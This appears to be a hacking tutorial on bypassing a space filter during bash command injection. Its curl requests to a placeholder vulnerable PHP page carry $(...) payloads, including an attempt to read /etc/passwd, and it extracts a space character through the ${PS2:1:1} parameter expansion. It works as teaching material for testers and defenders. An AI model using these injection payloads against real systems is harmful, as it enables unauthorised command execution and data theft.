Assume this example blackbox scenario, where we found some bash command injetion, but some commands are filtered/not executed:
$(id):
$ curl "http://target/path/vulnerable.php?vulnvar=$(id)" uid=48(apache) gid=48(apache) groups=14(uucp),48(apache),501(nagios),600(nagiocmd)$(ls):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls)" vulnerable.php index.php$(cat /etc/passwd):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat /etc/passwd)" [no output](space filtered? or no permissions + stderr not forwarded? lets check it out..) $(ls >/tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls >/tmp/test)" [no output]$(cat</tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat</tmp/test)" [no output](maybe the ls before was not executed) $(ls>/tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls>/tmp/test)" [no output]$(cat</tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat</tmp/test)" vulnerable.php index.phpwe got it! it's the space that is filtered out and prevents our injection to be successful.
but how we manage to execute a command that needs a parameter without using a space?
The solution is to get out a space in some "bash way", and here the Shell Parameter expansion comes to play. With this functionality we can extract a substring from a arbitrary variable:
${parameter:offset:length}
Expands to up to length characters of parameter starting at the character specified by offset. If length is omitted, expands to the substring of parameter starting at the character specified by offset. length and offset are arithmetic expressions (see Shell Arithmetic). This is referred to as Substring Expansion.
First we need to fine some variable containing a 'space' char, so search it in the current environment:
$(declare>/tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(declare>/tmp/test)" [no output]$(cat</tmp/test):
$ curl "http://target/path/vulnerable.php?vulnvar=$(cat</tmp/test)"
[...]
LESSOPEN='|/usr/bin/lesspipe.sh %s'
LINES=39
MAIL=/var/spool/mail/root
MAILCHECK=60
OLDPWD=/root
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/ruby192/bin:/root/bin
PIPESTATUS=([0]="0")
PPID=8851
PRELINKING=yes
PRELINK_FULL_TIME_INTERVAL=14
PRELINK_NONRPM_CHECK_INTERVAL=7
PRELINK_OPTS=-mR
PROMPT_COMMAND='printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/~}"'
PS1='[\u@\h \W]\$ '
PS2='> '
PS4='+ '
[...]
so in this case we can use LESSOPEN, PS2, PS4 or some other variable, lets take PS2 for semplicity, and extract its space char:
${PS2:1:1}
now we can write arbitrary commands with parameters (and spaces) substituting each space with the ${PS2:1:1} string: $(ls${PS2:1:1}-l${PS2:1:1}/):
$ curl "http://target/path/vulnerable.php?vulnvar=$(ls${PS2:1:1}-l${PS2:1:1}/)"
drwxr-xr-x 2 root root 4096 May 7 11:20 bin
drwxr-xr-x 4 root root 3072 May 30 2012 boot
drwxr-xr-x 6 nagios neteye 4096 Aug 21 2013 data
drwxr-xr-x 10 root root 3960 Jun 26 18:05 dev
drwxr-xr-x 126 root root 12288 Jul 23 04:04 etc
drwxr-xr-x 5 root root 4096 Jun 23 11:38 home
-rw-r--r-- 1 root root 31 Feb 4 2011 ks.log
drwxr-xr-x 14 root root 12288 May 7 11:20 lib
drwx------ 2 root root 16384 Sep 25 2010 lost+found
drwxr-xr-x 3 root root 4096 Jun 13 14:12 media
drwxr-xr-x 2 root root 4096 Apr 20 2012 misc
drwxr-xr-x 2 root root 4096 Aug 21 2013 mnt
dr-xr-xr-x 2 root root 4096 May 10 2011 net
drwxr-xr-x 5 root root 4096 Mar 26 17:20 opt
dr-xr-xr-x 131 root root 0 Jun 13 14:12 proc
drwxr-x--- 58 root root 16384 Jul 24 09:26 root
drwxr-xr-x 2 root root 12288 May 7 11:20 sbin
drwxr-xr-x 2 root root 4096 May 11 2011 selinux
drwxr-xr-x 2 root root 4096 May 11 2011 srv
drwxr-xr-x 11 root root 0 Jun 13 14:12 sys
drwxrwxrwt 7 root root 28672 Jul 24 11:47 tmp
drwxr-xr-x 15 root root 4096 Oct 19 2011 usr
drwxr-xr-x 30 root root 4096 Jul 18 09:06 var
happy hacking ;)